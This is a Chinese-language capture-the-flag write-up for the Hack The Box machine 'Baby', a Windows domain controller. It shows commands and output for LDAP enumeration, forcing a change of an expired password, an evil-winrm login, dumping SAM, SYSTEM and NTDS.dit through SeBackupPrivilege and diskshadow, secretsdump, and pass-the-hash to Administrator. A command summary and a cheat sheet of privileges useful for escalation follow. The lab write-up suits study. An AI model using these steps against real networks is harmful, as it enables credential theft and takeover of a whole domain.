HTB Baby
靶机IP 10.129.234.71
先扫描一下端口
发现开了445端口(SMB协议)
SMB-TCP 445
- ┌──(root㉿kali)-[~/桌面/HTB/baby]
- └─# netexec smb 10.129.234.71 --generate-hosts-file hosts
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
- ┌──(root㉿kali)-[~/桌面/HTB/baby]
- └─# cat hosts
- 10.129.234.71 BABYDC.baby.vl baby.vl BABYDC
- ┌──(root㉿kali)-[~/桌面/HTB/baby]
- └─# cat hosts /etc/hosts | sudo sponge /etc/hosts
复制代码
尝试对目标smb服务进行guest身份的共享枚举- ┌──(root㉿kali)-[~/桌面/HTB/baby]
- └─# netexec smb 10.129.234.71 -u guest -p '' --shares
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
- SMB 10.129.234.71 445 BABYDC [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED
- 发现账号被禁用
复制代码
该方法不行
LDAP-TCP 389
使用netexec工具从目标机器上提取(dump)LDAP中的用户数据(比如域用户名、组、权限等)- netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" ""
复制代码
用sAMAccountName查询可用于登录的账户名- netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""
复制代码
可以看到这里有一个初始密码BabyStart123!
但依旧匹配不了
经过发现在上一个的objectClass=*中最后有一个Caroline Robinson,没有关联的数据
- ┌──(root㉿kali)-[~/桌面/HTB/baby]
- └─# netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!'
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
- SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
复制代码 虽然失败了,但是说的是STATUS_PASSWORD_MUST_CHANGE
password change
可以使用netexec change-password模块
这里建议去github下载最新版本的nxc
https://github.com/Pennyw0rth/NetExec- ┌──(root㉿kali)-[~/桌面/shentougongju]
- └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi
- [*] Initializing SMB protocol database
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
- SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
- CHANGE-P... 10.129.234.71 445 BABYDC [-] SMB-SAMR password change failed: SAMR SessionError: code: 0xc000006c - STATUS_PASSWORD_RESTRICTION - When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.
复制代码 需要一个更复杂的密码- ┌──(root㉿kali)-[~/桌面/shentougongju]
- └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
- SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
- CHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson
复制代码 修改成功,我们看看密码策略- ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol
复制代码
Get Shell
枚举一下SMB共享资源- ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
复制代码- ┌──(root㉿kali)-[~/桌面/shentougongju]
- └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
- SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
- SMB 10.129.234.71 445 BABYDC [+] baby.vl\Caroline.Robinson:chenzi123!
- SMB 10.129.234.71 445 BABYDC [*] Enumerated shares
- SMB 10.129.234.71 445 BABYDC Share Permissions Remark
- SMB 10.129.234.71 445 BABYDC ----- ----------- ------
- SMB 10.129.234.71 445 BABYDC ADMIN$ READ Remote Admin
- SMB 10.129.234.71 445 BABYDC C$ READ,WRITE Default share
- SMB 10.129.234.71 445 BABYDC IPC$ READ Remote IPC
- SMB 10.129.234.71 445 BABYDC NETLOGON READ Logon server share
- SMB 10.129.234.71 445 BABYDC SYSVOL READ Logon server share
复制代码 确认 了Caroline.Robinson 是有实际权限的域账户,不是空壳
既然获得了账户凭证,我们可以通过WinRM协议远程登录目标机器- evil-winrm -i baby.vl -u caroline.robinson -p chenzi123!
复制代码
得到了shell,user.txt在destop下
Privilege Escalation
whoami /priv 查看当前用户的权限- *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv
- PRIVILEGES INFORMATION
- ----------------------
- Privilege Name Description State
- ============================= ============================== =======
- SeMachineAccountPrivilege Add workstations to domain Enabled
- SeBackupPrivilege Back up files and directories Enabled
- SeRestorePrivilege Restore files and directories Enabled
- SeShutdownPrivilege Shut down the system Enabled
- SeChangeNotifyPrivilege Bypass traverse checking Enabled
- SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
复制代码 获取SAM和system(渗透黄金特权)
我们看到他拥有SeBackupPrivilege和SeRestorePrivilege权限,这些权限通常授予Backup Operators组中的用户。如果我们使用 whoami /groups进行检查,会发现该用户确实属于这个组
SeBackupPrivilege权限将允许我们创建注册表节文件备份,一旦破解这些文件,将能得到重要信息,如用户的NTLM哈希
更具体地说,我们需要SAM和SYSTEM组件,SAM存储了本地账户地元数据以及机器上本地用户经过哈希处理后的凭据(NTLM哈希)。而SYSTEM则包含用于推导出启动密钥所需地信息,该密钥用于解密SAM组件。- 补充:
- 这里也就是渗透黄金特权的一种
- 1. SeDebugPrivilege(调试特权)
- 作用:允许调试任意进程(包括系统进程 lsass.exe)
- 渗透价值:
- 直接用 mimikatz 抓取 lsass 内存中的明文密码 / NTLM 哈希
- 拿到本地管理员、域管理员密码
- 一句话:有它 = 基本能直接拿密码
- 2. SeBackupPrivilege + SeRestorePrivilege(备份 / 还原特权)
- 作用:
- SeBackupPrivilege:绕过文件权限,备份任何文件(包括 SAM、NTDS.dit)
- SeRestorePrivilege:绕过文件权限,还原 / 覆盖任何文件(替换系统服务、写注册表)
- 渗透价值:
- 直接备份 SAM + SYSTEM → 拿本地管理员哈希
- 直接备份 NTDS.dit + SYSTEM → 拿整个域的所有用户哈希
- 替换系统服务 → 提权到 SYSTEM
- 一句话:有它 = 能拿系统 / 域的 “密码总库”
- 3. SeImpersonatePrivilege(模拟特权)
- 作用:允许模拟其他用户身份执行操作
- 渗透价值:
- 配合 JuicyPotato / PrintSpoofer 等工具 → 直接提权到 SYSTEM
- 模拟高权限用户执行命令、访问资源
- 一句话:有它 = 土豆 / 南瓜提权套餐直接上
- 4. SeTakeOwnershipPrivilege(获取所有权特权)
- 作用:夺取任意文件 / 注册表项的所有权
- 渗透价值:
- 夺取 C:\Windows\System32\config 等关键目录所有权 → 读写 SAM、SYSTEM
- 夺取注册表项 → 修改系统配置、后门
- 一句话:有它 = 能 “抢” 系统核心资源的控制权
复制代码- *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\sam .\sam
- The operation completed successfully.
- *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\system .\system
- The operation completed successfully.
复制代码 得到两个文件后,使用download进行下载- *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download sam
-
- Info: Downloading C:\Users\Caroline.Robinson\Desktop\sam to sam
-
- Info: Download successful!
- *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download system
-
- Info: Downloading C:\Users\Caroline.Robinson\Desktop\system to system
-
- Info: Download successful!
复制代码 把你下载到 Kali 的 sam 和 system 文件,用 impacket-secretsdump- impacket-secretsdump -sam sam -system system LOCAL
复制代码
格式:用户名:RID M哈希:NTLM哈希:::
管理员的NTLM哈希:8d992faed38128ae85e95fa35868bb43
将得到的哈希进行传递
但登录不了
获取NTDS.dit(diskshadow创建C盘卷影副本)
我们下一步将尝试得到域控哈希值。为此,我们需要NTDS.dit(域控制器存储所有域用户密码哈希的核心数据库)。然而,该文件被锁定,我们无法直接复制。因此,我们使用diskshadow工具创建当前硬盘的卷影副本。这样我们就可以导出,并访问该文件。- set verbose on
- set context persistent nowriters
- set metadata C:\Windows\Temp\chenzi.cab
- add volume c: alias chenzi
- create
- expose %chenzi% e:
复制代码 创建 C 盘的卷影副本,并将其映射为 E 盘,方便访问快照里的核心文件。
并转换为windows格式
上传文件
可以看到放到了E盘
由于该驱动器目前未被使用,我们可以使用robocopy将NTDS.dit文件复制到当前目录中- robocopy /b E:\Windows\ntds . ntds.dit
- 解释一下这个
- /b 备份模式
- E:\Windows\ntds 目录,包含了 C 盘的快照,能访问到被锁定的文件。
- . 表示目标目录即当前目录
- ntds.dit即要复制的文件
复制代码
这样我们就得到了ntds.dit
依旧也是下载下来
然后回到kali- impacket-secretsdump -ntds ntds.dit -system system LOCAL
复制代码
得到Administrator的哈希值:ee4457ae59f1e3fbd764e33d9cef123d
然后再使用evil-winrm获得shell- evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
复制代码
得到Administrator的shell
渗透总结
本靶机核心是通过域用户凭证获取与黄金特权利用,实现从普通域用户到域管理员的权限提升。首先通过端口扫描与 LDAP 信息搜集,获取域用户Caroline.Robinson及初始密码,解决密码必须修改的限制后,利用该账户的SeBackupPrivilege和SeRestorePrivilege黄金特权,备份系统核心文件(SAM、SYSTEM、NTDS.dit),解析出域管理员哈希,最终通过哈希传递登录域控制器,完成渗透。
核心知识点
信息搜集核心
- 端口扫描重点:SMB(445)、LDAP(389/3268)、WinRM(5985)是域环境渗透关键端口,分别对应文件共享、用户信息查询、远程命令执行功能。
- LDAP 枚举价值:可匿名查询域内用户、组信息,获取可登录账户名及潜在初始密码,为后续认证提供基础。
账户凭证与密码策略
- STATUS_PASSWORD_MUST_CHANGE:账户初始密码需修改,且新密码需符合域密码策略(如长度≥7 位、包含大小写 / 数字 / 特殊符号)。
- 密码策略查询:通过--pass-pol参数可获取域密码规则,指导新密码设置与后续爆破策略制定。
渗透黄金特权应用
- SeBackupPrivilege + SeRestorePrivilege:允许绕过文件权限,备份 / 还原系统核心文件(SAM、NTDS.dit),是域环境中获取所有用户哈希的关键特权。
- 卷影副本(VSS):用于绕过 NTDS.dit 等被系统锁定的文件,通过diskshadow创建快照后可自由复制。
哈希传递攻击(Pass-the-Hash)
- 无需破解明文密码,直接使用解析出的 NTLM 哈希登录目标机器,适用于 WinRM、SMB 等协议。
- 域管理员哈希需从 NTDS.dit(域密码总库)中解析,而非本地 SAM 文件(仅存储本地账户哈希)。
重要命令汇总
信息搜集与环境配置
- # 全端口扫描(获取关键端口)
- 无影扫描工具 10.129.234.71 -p 1-65535
- # 添加主机映射(方便域环境访问)
- echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" | sudo tee -a /etc/hosts
- # LDAP匿名枚举域用户
- netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""
复制代码 账号密码操作
- # 修改域用户密码(解决STATUS_PASSWORD_MUST_CHANGE)
- ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
- # 查询域密码策略
- ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol
- # 枚举SMB共享资源(验证账户权限)
- ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
复制代码 远程登陆与权限查询
- # WinRM远程登录(获取普通用户shell)
- evil-winrm -i baby.vl -u Caroline.Robinson -p 'chenzi123!'
- # 查询当前用户特权(确认黄金特权)
- whoami /priv
- # 查询用户所属组(验证Backup Operators组身份)
- whoami /groups
复制代码 核心文件备份与下载
- # 备份SAM和SYSTEM注册表文件(本地账户哈希)
- reg save hklm\sam .\sam
- reg save hklm\system .\system
- # 下载文件到Kali
- download sam
- download system
- # diskshadow批量创建卷影副本(备份NTDS.dit)
- # 先在Kali创建backup脚本并转换格式
- unix2dos backup
- # 上传脚本到目标机器
- upload backup backup
- # 执行脚本创建卷影副本并映射为E盘
- diskshadow /s backup
- # 备份NTDS.dit(备份模式绕过锁定)
- robocopy /b E:\Windows\ntds . ntds.dit
- # 下载NTDS.dit到Kali
- download ntds.dit
复制代码 哈希解析与域管理员登录
- # 解析本地账户哈希(SAM+SYSTEM)
- impacket-secretsdump -sam sam -system system LOCAL
- # 解析域用户哈希(NTDS.dit+SYSTEM)
- impacket-secretsdump -ntds ntds.dit -system system LOCAL
- # 哈希传递登录域管理员(WinRM)
- evil-winrm -i baby.vl -u Administrator -H [域管理员NTLM哈希]
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |